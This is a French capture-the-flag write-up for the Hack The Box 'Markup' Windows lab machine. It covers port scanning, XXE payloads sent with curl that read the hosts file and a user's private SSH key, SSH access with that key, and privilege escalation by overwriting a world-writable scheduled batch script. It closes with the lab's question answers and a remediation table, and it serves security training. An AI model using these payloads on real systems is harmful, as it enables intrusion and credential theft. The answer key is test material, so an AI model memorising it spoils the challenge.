Passer au contenu

Markup

OSDifficultyTarget
WindowsEASY10.129.x.x

Résumé

Machine Windows exposant une application web PHP vulnérable à une injection XXE (XML External Entity). L’exploitation de la XXE permet d’extraire la clé SSH privée d’un utilisateur. L’escalade de privilèges s’effectue via un script batch exécuté par une tâche planifiée avec des permissions d’écriture trop permissives.


Reconnaissance

Scan de ports

Fenêtre du terminal
nmap -T4 <IP>
Fenêtre du terminal
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https

Scan détaillé

Fenêtre du terminal
nmap -A -p 22,80,443 <IP>
PortServiceVersion
22SSHOpenSSH for_Windows_8.1
80HTTPApache 2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
443HTTPSApache 2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28

Enumération

Application web (80/443)

L’application “MegaShopping” présente une page de login.

Test de credentials par défaut :

admin:**REDACTED**

Accès réussi à l’interface d’administration.

Fonctionnalité de commande

L’application permet de passer des commandes via un formulaire. L’analyse du trafic révèle que les données sont envoyées en XML à /process.php.

Analyse du code source

Un commentaire HTML révèle un nom d’utilisateur potentiel :

<!-- Modified by Daniel : UI-Fix-9092-->

Cet indice sera utile pour cibler les fichiers à extraire via XXE.


Exploitation

XXE (XML External Entity)

Le parser XML côté serveur ne désactive pas les entités externes, permettant une injection XXE.

Test initial

Fenêtre du terminal
curl -X POST http://<IP>/process.php \
-H "Content-Type: text/xml" \
-H "Cookie: PHPSESSID=<SESSION>" \
-d '<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<order>
<quantity>1</quantity>
<item>&xxe;</item>
<address>test</address>
</order>'

Le contenu du fichier hosts est retourné dans la réponse, confirmant la vulnérabilité.

Extraction de la clé SSH

Fenêtre du terminal
curl -X POST http://<IP>/process.php \
-H "Content-Type: text/xml" \
-H "Cookie: PHPSESSID=<SESSION>" \
-d '<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY xxe SYSTEM "file:///c:/users/daniel/.ssh/id_rsa">
]>
<order>
<quantity>1</quantity>
<item>&xxe;</item>
<address>test</address>
</order>'

La clé privée SSH de l’utilisateur daniel est récupérée.

Connexion SSH

Fenêtre du terminal
# Sauvegarder la clé
cat > daniel_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----
EOF
# Permissions correctes
chmod 600 daniel_id_rsa
# Connexion
ssh -i daniel_id_rsa daniel@<IP>

Shell obtenu en tant que daniel.


Escalade de privilèges

Enumération

Recherche de fichiers intéressants :

Fenêtre du terminal
dir /s C:\Log-Management

Un script job.bat est présent dans C:\Log-Management\.

Fenêtre du terminal
type C:\Log-Management\job.bat
Fenêtre du terminal
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit

Vérification des permissions

Fenêtre du terminal
icacls C:\Log-Management\job.bat
Fenêtre du terminal
C:\Log-Management\job.bat BUILTIN\Users:(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Le groupe BUILTIN\Users a le droit Full Control (F) sur le fichier, permettant à n’importe quel utilisateur de le modifier.

Exploitation

Ce script est exécuté périodiquement par une tâche planifiée avec des privilèges élevés.

Fenêtre du terminal
echo type C:\Users\Administrator\Desktop\root.txt ^> C:\Log-Management\output.txt > C:\Log-Management\job.bat

Après quelques instants, le fichier output.txt contient le flag root :

Fenêtre du terminal
type C:\Log-Management\output.txt

Flags

Fenêtre du terminal
type C:\Users\daniel\Desktop\user.txt
type C:\Log-Management\output.txt

Questions HTB

#QuestionRéponse
1What version of Apache is running on the target’s port 80?2.4.41
2What username:password combination logs in successfully?admin:**REDACTED**
3What is the word at the top of the page that accepts user input?Order
4What XML version is used on the target?1.0
5What does the XXE / XEE attack acronym stand for?XML External Entity
6What username can we find on the webpage’s HTML code?Daniel
7What is the file located in the Log-Management folder on the target?job.bat
8What executable is mentioned in the file mentioned before?wevtutil.exe

A retenir

VulnérabilitéDescriptionRemédiation
Credentials par défautLogin admin:REDACTEDForcer le changement de mot de passe à la première connexion
XXE InjectionParser XML acceptant les entités externesDésactiver les entités externes (libxml_disable_entity_loader)
Clé SSH exposéeClé privée accessible via XXERestreindre les permissions sur les fichiers sensibles
Permissions faiblesScript exécuté en admin modifiable par tousAppliquer le principe du moindre privilège
Tâche planifiéeExécution de scripts avec privilèges élevésAuditer les tâches planifiées et leurs permissions

Outils utilisés

  • nmap
  • curl
  • ssh

Références